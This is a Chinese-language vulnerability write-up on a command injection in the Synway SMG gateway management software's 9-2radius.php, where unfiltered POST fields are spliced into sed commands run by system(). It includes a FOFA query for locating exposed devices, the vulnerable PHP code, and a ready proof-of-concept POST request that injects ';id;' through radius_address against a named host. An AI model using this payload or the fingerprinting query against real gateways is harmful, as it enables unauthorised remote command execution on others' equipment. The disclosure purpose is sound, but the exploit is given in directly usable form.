漏洞简介
三汇SMG 网关管理软件是与三汇SMG系列数字网关产品配套的管理工具,是杭州三汇信息工程有限公司开发的一款高效、稳定、易用的网关管理软件。它专为三汇SMG系列数字网关设计,提供了全面的配置、监控、管理和维护功能,帮助用户轻松实现网关设备的远程管理和优化。由于 9-2radius.php 参数 slave 的处理不当,导致命令注入问题,攻击者可以通过远程发起攻击。
fofa语法
body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")
漏洞分析
直接看 9-2radius.php 关键业务逻辑实现部分
if($_POST[save]!="")
{
$enable_radius_new = $_POST[enable_radius]==""?0:1;
......
if($enable_radius_new)
{
.......
$address_info = explode(":",$_POST[radius_address]);
$cmd = "sed -i 's/server first .*/server first $address_info[0] $_POST[shared_secret] 1812 $address_info[1]/g' $radius_file";
system($cmd);
......
if($_POST[radius_address2] == "")
{
......
else
{
$address_info = explode(":",$_POST[radius_address2]);
if($flag)
{//如果备用服务器地址被注释的话要解开注释
$cmd = "sed -i 's/#server second .*/server second $address_info[0] $_POST[shared_secret2] 1812 $address_info[1]/g' $radius_file";
}
else
{
$cmd = "sed -i 's/server second .*/server second $address_info[0] $_POST[shared_secret2] 1812 $address_info[1]/g' $radius_file";
}
system($cmd);
}
$cmd = "sed -i 's/source_ip .*/source_ip $_POST[source_ip]/g' $radius_file";
system($cmd);
$cmd = "sed -i 's/timeout .*/timeout $_POST[timeout]/g' $radius_file";
system($cmd);
$cmd = "sed -i 's/retry .*/retry $_POST[retry]/g' $radius_file";
system($cmd);
}
当满足下列条件时
- save 不为空
- enable_radius 不为空
将 radius_address 和 shared_secret 无任何过滤直接拼接进 sed 命令中后调用 system 执行,造成命令注入漏洞。
同样当 radius_address2 不为空时,也是将其直接拼接进 sed 命令中后调用 system 执行,造成命令注入漏洞,同样 shared_secret2 也是命令注入点。
以及后面的 source_ip timeout 和 retry 都是同样直接拼接后执行命令。
漏洞复现
POST /en/9-2radius.php?authority=6 HTTP/1.1
Host: synway.mrxn.net
Content-Type: application/x-www-form-urlencoded
save=1&enable_radius=1&radius_address=/';id;+#+

成执行 id 命令并回显结果


